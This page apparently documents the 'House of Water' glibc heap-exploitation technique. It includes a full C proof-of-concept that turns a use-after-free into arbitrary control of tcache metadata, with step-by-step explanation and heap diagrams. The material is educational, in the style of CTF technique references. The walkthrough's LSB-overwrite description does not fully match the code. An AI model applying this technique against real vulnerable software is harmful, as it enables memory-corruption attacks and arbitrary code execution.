Skip to main content

Overview

The House of Water is a sophisticated technique for converting a Use-After-Free (UAF) vulnerability into complete tcache metadata control. This modified variant uses small bins instead of the original unsorted bin approach, eliminating the need for 4-bit brute-forcing even without the ability to increment integers. The technique provides leakless control over the tcache_perthread_struct, allowing arbitrary tcache bin manipulation without address leaks.

Glibc Version Compatibility

Compatible with: glibc 2.32 and later (all modern versions)Best suited for: glibc 2.36+ where tested
This modified small-bin variant works on all recent glibc versions and is more reliable than the original House of Water.

Requirements

  • Use-After-Free or Double-Free: Ability to use a freed chunk
  • Heap Control: Ability to allocate/free chunks and control sizes
  • LSB Overwrite: Ability to overwrite at least the LSB of pointers
  • No Leaks Required: The technique is completely leakless!

What It Achieves

The House of Water enables:
  1. Tcache Metadata Control: Gain arbitrary read/write to tcache_perthread_struct
  2. Arbitrary Allocation: Return arbitrary pointers from malloc
  3. Leakless Exploitation: No address leaks needed
  4. Tcache Bin Manipulation: Control all tcache freelists

Technical Details

Attack Flow

1

Allocate Relative Chunk

Allocate the ‘relative chunk’ immediately after tcache metadata. This chunk shares the same ASLR-controlled second nibble (0x2) as the fake chunk location we’ll target in the tcache structure.
2

Create Fake Tcache Entries

Use double-free or UAF to create fake tcache entries in the 0x320 and 0x330 size bins. These will act as fake forward (FWD) and backward (BCK) pointers pointing to chunk headers.
3

Setup Small Bin List

Free three chunks (small_start, relative_chunk, small_end) into unsorted bin, then trigger a large allocation to sort them into the small bin as a linked list.
4

LSB Overwrite

Use UAF to overwrite the LSB of small_start’s fd and small_end’s bk pointers with 0x00. This redirects both pointers to the fake tcache chunk in the tcache structure.
5

Drain Tcache and Allocate

Drain the tcache for the target size, forcing malloc to use small bins. The first allocation returns small_start and moves remaining chunks to tcache. The second returns small_end. The third returns the fake chunk, giving control over tcache_perthread_struct.

Source Code

This implementation shows the modified small-bin variant which is more reliable than the original.
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

void dump_memory(void *addr, unsigned long count) {
    for (unsigned int i = 0; i < count*16; i += 16) {
        printf("0x%016lx\t\t0x%016lx  0x%016lx\n", 
               (unsigned long)(addr+i), *(long *)(addr+i), *(long *)(addr+i+0x8));
    }
}

int main(void) {
    void *_ = NULL;
    
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    // ========== STEP 1: Create unsorted bins linked list ==========
    puts("\n\t==============================");
    puts("\t|           STEP 1           |");
    puts("\t==============================\n");

    puts("Allocate three 0x90 chunks with guard chunks in between.");
    void *relative_chunk = malloc(0x88);
    printf("\t\t* relative_chunk\t@ %p\n", relative_chunk);
    _ = malloc(0x18); // Guard chunk
    puts("\t\t* /guard/");

    void *small_start = malloc(0x88);
    printf("\t\t* small_start\t@ %p\n", small_start);
    _ = malloc(0x18); // Guard chunk
    puts("\t\t* /guard/");

    void *small_end = malloc(0x88);
    printf("\t\t* small_end\t@ %p\n", small_end);
    _ = malloc(0x18); // Guard chunk
    puts("\t\t* /guard/\n");

    // ========== STEP 2: Fill up tcache ==========
    puts("\n\t==============================");
    puts("\t|           STEP 2           |");
    puts("\t==============================\n");

    // Get tcache metadata pointer
    void *metadata = (void *)((long)(relative_chunk) & ~(0xfff));

    puts("Allocate 7 0x88 chunks to fill out the 0x90 tcache later");
    void *x[7];
    for (int i = 0; i < 7; i++) {
        x[i] = malloc(0x88);
    }

    puts("Fill up the 0x90 tcache so next free goes to unsorted bin");
    for (int i = 0; i < 7; i++) {
        free(x[i]);
    }

    // ========== STEP 3: Create fake tcache entries ==========
    puts("\n\t==============================");
    puts("\t|           STEP 3           |");
    puts("\t==============================\n");

    puts("Create fake 0x320 and 0x330 tcache entries overlapping small bin chunks\n");

    // Part 1: Create 0x331 fake chunk above small_start
    puts("--------------------");
    puts("|      PART 1      |");
    puts("--------------------\n");

    puts("Write 0x331 above small_start to enable free into 0x330 tcache");
    printf("\t*%p-0x18 = 0x331\n", small_start);
    *(long*)(small_start-0x18) = 0x331;

    printf("Free the faked 0x331 chunk @ %p\n", small_start-0x10);
    free(small_start-0x10);

    puts("Restore original header of small_start");
    printf("\t*%p-0x8 = 0x91\n", small_start);
    *(long*)(small_start-0x8) = 0x91;
    puts("");

    // Part 2: Create 0x321 fake chunk above small_end
    puts("--------------------");
    puts("|      PART 2      |");
    puts("--------------------\n");

    puts("Write 0x321 above small_end for free into 0x320 tcache");
    printf("\t*%p-0x18 = 0x321\n", small_end);
    *(long*)(small_end-0x18) = 0x321;

    printf("Free the faked 0x321 chunk @ %p\n", small_end-0x10);
    free(small_end-0x10);

    puts("Restore original header of small_end");
    printf("\t*%p-0x8 = 0x91\n", small_end);
    *(long*)(small_end-0x8) = 0x91;
    puts("");

    // ========== STEP 4: Create small bin list ==========
    puts("\n\t==============================");
    puts("\t|           STEP 4           |");
    puts("\t==============================\n");

    puts("Free chunks into unsorted bin in correct order");
    puts("\t> free(small_end);");
    free(small_end);
    puts("\t> free(relative_chunk);");
    free(relative_chunk);
    puts("\t> free(small_start);");
    free(small_start);
    puts("");

    puts("Allocate large chunk to sort unsorted bin into small bin");
    _ = malloc(0x700);

    printf("Small bin: small_start <--> relative_chunk <--> small_end\n");
    printf("           %p <--> %p <--> %p\n", small_start-0x10, relative_chunk-0x10, small_end-0x10);
    printf("0x320 tcache: 0x%lx\n", *(long*)(metadata+0x390));
    printf("0x330 tcache: 0x%lx\n\n", *(long*)(metadata+0x398));

    // ========== STEP 5: LSB overwrite ==========
    puts("\n\t==============================");
    puts("\t|           STEP 5           |");
    puts("\t==============================\n");

    puts("Overwrite LSB of small_start FWD and small_end BCK pointers\n");

    /* VULNERABILITY */
    printf("\t*%p = %p\n", small_start, metadata+0x200);
    *(unsigned long *)small_start = (unsigned long)(metadata+0x200);

    printf("\t*%p = %p\n\n", small_end+0x8, metadata+0x200);
    *(unsigned long *)(small_end+0x8) = (unsigned long)(metadata+0x200);
    /* VULNERABILITY */

    printf("Small bin now: small_start <--> metadata chunk <--> small_end\n");
    printf("               %p\t     %p      %p\n", small_start, metadata+0x200, small_end);

    // ========== STEP 6: Allocate fake chunk ==========
    puts("\n\t==============================");
    puts("\t|           STEP 6           |");
    puts("\t==============================\n");

    puts("Drain tcache to force allocation from small bin\n");
    for(int i = 7; i > 0; i--)
        _ = malloc(0x88);

    // Allocate small_start and small_end
    _ = malloc(0x88);
    _ = malloc(0x88);

    // Next allocation is our fake chunk!
    void *meta_chunk = malloc(0x88);

    printf("\t\tNew chunk\t @ %p\n", meta_chunk);
    printf("\t\ttcache metadata @ %p\n", metadata);
    assert(meta_chunk == (metadata+0x210));

    puts("\nSuccess! We now control tcache_perthread_struct\n");
}

Walkthrough

The original House of Water used unsorted bins and required 4-bit brute-forcing because of ASLR randomization in heap addresses.The small bin variant improves on this by:
  1. Using small bin’s doubly-linked list structure
  2. Leveraging the deterministic relationship between chunk addresses in the same page
  3. Only requiring LSB overwrite (0x00) instead of partial pointer
Because the relative_chunk is allocated right after tcache metadata, it shares the same second nibble (0x2). By overwriting just the LSB to 0x00, we redirect pointers to offset 0x200 in the same page - which falls inside the tcache structure!
The clever trick is creating fake tcache entries at 0x320 and 0x330 size classes:
Tcache structure layout:
+0x000: counts[64]     (128 bytes)
+0x080: entries[64]    (512 bytes) 
+0x280: [not used]
...
+0x390: entries[0x320/16] ← points to small_end header
+0x398: entries[0x330/16] ← points to small_start header
When we create fake chunks of size 0x321 and 0x331 overlapping small_start and small_end, then free them, the tcache stores pointers to these “chunks” at the calculated offsets.These pointers then act as pre-placed FWD/BCK pointers when we construct our small bin fake chunk!
After setting up small bins and fake tcache entries:
Before LSB overwrite:
small_start->fd = &relative_chunk = 0xAAAA2XX0
small_end->bk   = &relative_chunk = 0xAAAA2XX0

After overwriting LSB with 0x00:
small_start->fd = 0xAAAA2000 = metadata base
small_end->bk   = 0xAAAA2000 = metadata base

Actual target:
metadata + 0x200 = 0xAAAA2200
The fake chunk in tcache structure has:
  • FWD pointer (at tcache+0x390): points to small_start
  • BCK pointer (at tcache+0x398): points to small_end
This creates a valid small bin entry that malloc accepts!

Visual Representation

Heap Layout:
┌──────────────────┐ 0xXXXX2000
│ tcache_perthread │
│    structure     │
├──────────────────┤ 0xXXXX2200 ← Target fake chunk
│  counts[0x32]    │
│  counts[0x33]    │
├──────────────────┤ 0xXXXX2290
│ relative_chunk   │ ← Shares 2nd nibble with fake chunk
├──────────────────┤
│ guard            │
├──────────────────┤
│ small_start      │
├──────────────────┤
│ guard            │
├──────────────────┤
│ small_end        │
├──────────────────┤
│ guard            │
└──────────────────┘

Tcache Structure:
+0x390: entries[0x320] → small_end header
+0x398: entries[0x330] → small_start header

Small Bin After LSB Overwrite:
small_start ←→ fake_chunk@tcache ←→ small_end

CTF Challenges

Featured in:See the modified variant writeup for detailed application.

References

  • House of Botcake - Another overlapping technique
  • [Tcache Poisoning/techniques/tcache/tcache-poisoning) - Direct tcache manipulation
  • [Safe Link Double Protect/techniques/advanced/safe-link-double-protect) - Related leakless technique

Authors

Technique by @udp_ctf (Water Paddler / Blue Water) Small-bin variant modified by @4f3rg4n (CyberEGGs)

Build docs developers (and LLMs) love